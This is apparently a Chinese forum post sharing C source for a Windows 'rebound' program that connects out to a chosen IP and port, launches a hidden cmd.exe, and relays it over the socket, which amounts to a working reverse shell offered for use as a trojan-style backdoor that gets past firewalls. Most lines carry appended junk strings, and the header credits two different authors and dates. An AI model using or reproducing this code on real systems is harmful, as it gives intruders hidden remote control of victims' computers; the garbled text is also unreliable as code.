这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 F.1u9)
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/* ============================== CnZEBAU
Rebound port in Windows NT 5$Kj#9g-#
By wind,2006/7 M<NY`7$^
===============================*/ N!wuBRWR
#include _`^AgRE
#include pnz: <V"Y(
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#pragma comment(lib,"wsock32.lib") rWDD$4y
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void OutputShell(); _O'!C!K6
SOCKET sClient; { gs$pBu
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; f8N*[by
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void main(int argc,char **argv) p8)R#QWz9
{ oaPWeM+
WSADATA stWsaData; 5G(dvM-n
int nRet; Yo'Y-h#
SOCKADDR_IN stSaiClient,stSaiServer; p=E#!cn3
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if(argc != 3) 2Vf242z_
{ @n.n[zb\|
printf("Useage:\n\rRebound DestIP DestPort\n"); i|AWaG)
return; p'%S{v@5((
} -LUZ7,!/>o
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WSAStartup(MAKEWORD(2,2),&stWsaData); [+R_3'aK
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ){'<67dK
/d:hW4}<}.
stSaiClient.sin_family = AF_INET; Y_jc *S
stSaiClient.sin_port = htons(0); oPni4^g i
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); zaLPPm&f
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) D&o\q68W
{ x0ipk}
printf("Bind Socket Failed!\n"); +L.D3
return; K?!W9lUq
} _E'}8.#{
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stSaiServer.sin_family = AF_INET; cHT\sJo`l
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); y {Bajil
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |?Edk7`
{ "a~r'+'<
printf("Connect Error!"); 6k>5+ -&_
return; ^--R#$X
} cb0rkmO
OutputShell(); Y%0rji
} ")vtS}Ekt
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void OutputShell() ;|?_C8
{ @{_X@Wv4iV
char szBuff[1024]; 4;AQ12<[1
SECURITY_ATTRIBUTES stSecurityAttributes; O< /b]<[
OSVERSIONINFO stOsversionInfo; kBrA ?
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F!u)8>s+z{
STARTUPINFO stStartupInfo; se2Y:v
char *szShell; \aM-m:J
PROCESS_INFORMATION stProcessInformation; myN2G?>;
unsigned long lBytesRead; "T^%HPif
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,VEE<*'X
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .xmB8 R
stSecurityAttributes.lpSecurityDescriptor = 0; N'&>bO?@`
stSecurityAttributes.bInheritHandle = TRUE; ^9 LoxU-
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4[]*=
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); glU9A39qx?
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); '/ Hoq
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <a
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stStartupInfo.wShowWindow = SW_HIDE; (GL'm[V
stStartupInfo.hStdInput = hReadPipe; SG\ /m'F
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G<<;a
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GetVersionEx(&stOsversionInfo);
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switch(stOsversionInfo.dwPlatformId) cl]W]^q-Cx
{ Te?PYV-
case 1: &-Wt!X 3
szShell = "command.com"; 8N9,HNBT$
break; mk!8>XvM
default: w42{)S"
szShell = "cmd.exe"; SC4jKm2
break; sH2xkUp
} XP% _|Q2X
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |ZifrkD=
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send(sClient,szMsg,77,0); =LK`mNA
while(1) .B2e$`s$
{ M!!vr8}
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); m,q)lbRl
if(lBytesRead) N5=}0s]e
{ ^mFsrw
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w_@{v wM$A
send(sClient,szBuff,lBytesRead,0); qk3~]</
} ?f'`b<o
else Hmhsb2`\
{ Y:m8UnT
lBytesRead=recv(sClient,szBuff,1024,0); z2,NWmP|w
if(lBytesRead<=0) break; mrG?5.7W
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); w ~crj$UM
} 8?kB+}@6X
} 1pDU}rPJ.
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return; tK{#kApHGG
}